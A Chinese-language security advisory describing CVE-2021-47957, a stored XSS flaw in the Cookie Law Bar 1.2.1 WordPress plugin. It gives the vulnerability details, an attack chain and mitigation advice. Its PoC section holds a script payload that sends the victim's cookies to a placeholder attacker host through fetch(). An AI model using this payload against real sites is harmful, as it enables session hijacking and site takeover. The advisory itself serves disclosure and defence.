IPBUF安全漏洞报告
English
CVE-2021-47957 CVSS 6.4 中危

Cookie Law Bar 1.2.1 存储型XSS漏洞 (CVE-2021-47957)

披露日期: 2026-05-16

漏洞信息

漏洞编号
CVE-2021-47957
漏洞类型
存储型跨站脚本
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Cookie Law Bar

相关标签

XSSWordPressCookie Law BarStored XSSCWE-79

漏洞概述

Cookie Law Bar WordPress插件1.2.1版本存在存储型XSS漏洞。攻击者利用插件设置页面“Bar Message”字段缺乏过滤的缺陷,注入恶意脚本。当其他用户访问站点时,脚本将在其浏览器中执行,导致Cookie窃取及敏感数据泄露。

技术细节

该漏洞源于Cookie Law Bar插件在处理“Bar Message”配置项时,未对用户提交的数据进行有效的安全过滤和HTML实体编码。攻击者只需具备WordPress网站的低权限账户,即可在插件后台设置中注入恶意JavaScript代码。由于是存储型XSS,恶意载荷被持久化存储在服务器的数据库中。每当有用户(包括管理员)浏览包含该插件组件的页面时,服务器将未经过滤的数据直接输出到HTTP响应中,导致浏览器解析执行攻击者预设的脚本。由于漏洞涉及范围变更(S:C),攻击者可利用此漏洞进一步窃取管理员SessionID,甚至接管网站管理权限。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress网站低权限账户(如订阅者或编辑者)。
STEP 2
步骤2
登录后台,进入Cookie Law Bar插件设置页面。
STEP 3
步骤3
在“Bar Message”输入框中输入恶意JavaScript代码并保存设置。
STEP 4
步骤4
恶意代码被存储在数据库中。
STEP 5
步骤5
其他用户访问网站前端,插件加载并渲染被污染的消息。
STEP 6
步骤6
浏览器执行恶意脚本,发送用户数据至攻击者服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Inject into the 'Bar Message' field --> <script> // Example: Steal current user's cookie fetch('https://attacker-controlled-site.com/collect?c=' + document.cookie); </script>

影响范围

Cookie Law Bar 1.2.1

防御指南

临时缓解措施
建议立即更新插件至修复版本。若无法更新,应暂时禁用插件,或通过WAF拦截针对该设置页面的异常请求,并在插件源代码中对输出内容使用htmlspecialchars函数进行转义。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表